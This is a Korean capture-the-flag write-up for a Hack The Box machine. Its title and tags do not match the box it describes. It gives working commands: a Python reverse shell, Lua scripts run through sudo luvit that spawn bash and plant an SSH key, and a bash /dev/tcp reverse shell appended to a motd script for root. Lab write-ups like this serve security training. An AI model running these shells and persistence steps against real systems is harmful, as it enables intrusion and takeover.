HTB-Devzat Write up
golang, git-dumper
80포트 웹페이지 소스코드에서 주석처리된 힌트코드를 발견
gobuster를 사용해서 php webshell의 이름이 담긴 파일로 탐색 시도 시 php페이지 발견
find . | grep -i common
gobuster dir -u http://10.10.10.181 -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -o gobuster
웹페이지 접속 시 로그인이 필요하지만 admin/admin 으로 로그인이 가능
접속 시 웹쉘페이지가 나옴
콘솔창에서 python3가 있다는것을 확인하여 python3을 이용하여 리버스쉘 명령어 입력 시 리버스쉘 연결
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
note.txt 확인 시 lua(스크립트 언어) tool을 남겨놨다는 메시지 발견
sudo -l 확인 시 sysadmin 계정으로 luvit가 실행가능
2가지의 방법으로 lua사용하여 sysadmin으로 접속 가능
echo "require('os');" > priv.lua
echo "os.execute('/bin/bash');" >> priv.lua
sudo-u sysadmin /home/sysadmin/luvit ./priv.lua
ssh 파일 생성
ssh-keygen -f sysadmin
chmod 777 sysadmin
lua 언어를 사용하여 .ssh/authorized_keys 파일 생성하는 코드 작성
file = io.open("/home/sysadmin/.ssh/authorized_keys", "a")
io.output(file)
io.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDI4z4/4vSpJaOYJhJtPxffVXs3i2jbJroqnFASUlro3Ki3/BDk2xdKRMZgwzY3v10qFVoBFNliPxCoWxKsZyS1fFD6esc1nnFolipHwaTlrVHr9atn3AnNdGAT9Em8/es0r0F/qojcWYsXoZEAoOPOXOnyjX5Qt36VXYtRmeJhG/wgni+bLPD4NNmLGU7QGdEHRMRcLFMzxqQnEiTrB0qA9+AdxBa3iGq8F81msjeAepnJ/XzltQ1ddZ9tKeCq6nxkqukf/v/1GzAk/wzCSuGLSwX5UKn+xhaWjiTlIY9+KOfWcDym6X9qPjEK1LWQVOqhfgdHo4ca6N9g8MAmfw+yYGyJ9FQU9eXFWN5LuZ0FZybsoCUTNiaiWhgc09y5FPA0vpL5Pu+AxicIwpvfAhg1BiYRLrNn+JblZm8U8LHZAnEpzHFCOqAiXIox4oUeTYmcbd+F2xNu/s4vPgle7EmVrzQaHJkBr2BHrLQYQdKO6DOLa42XhskVtlNbJ3Y46Vs=")
io.close(file)
피해자 서버로 해당 reverse.lua 파일을 옮겨준 후 luvit 사용하여 lua 파일 실행
sudo -u sysadmin /home/sysadmin/luvit /home/webadmin/reverse.lua
ssh -i (인증파일) 을 이용하여 ssh로 패스워드 없이 ssh 접속 가능
ssh -i sysadmin sysadmin@10.10.10.181
해당 권한에서 사용가능한 파일 탐색, write가능한 파일 탐색시 motd파일 발견
find / -user sysadmin -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'
find / -user sysadmin -writable -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'
//그룹권한에서 작성가능한 파일 탐색
find / -group sysadmin -writable -ls 2>/dev/null | grep -v ' /proc\| /run\| /sys'
또는 linpeas.sh 사용하여 탐색 시 발견 가능
pspy를 사용하여 ssh로그인 시 update-motd.d 파일이 실행되는것을 확인
motd 헤더파일에 아래의 명령어를 추가후 ssh로 로그인 시도 시 nc서버로 root쉘 연결 가능
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.7/9002 0>&1'" >> /etc/update-motd.d/00-header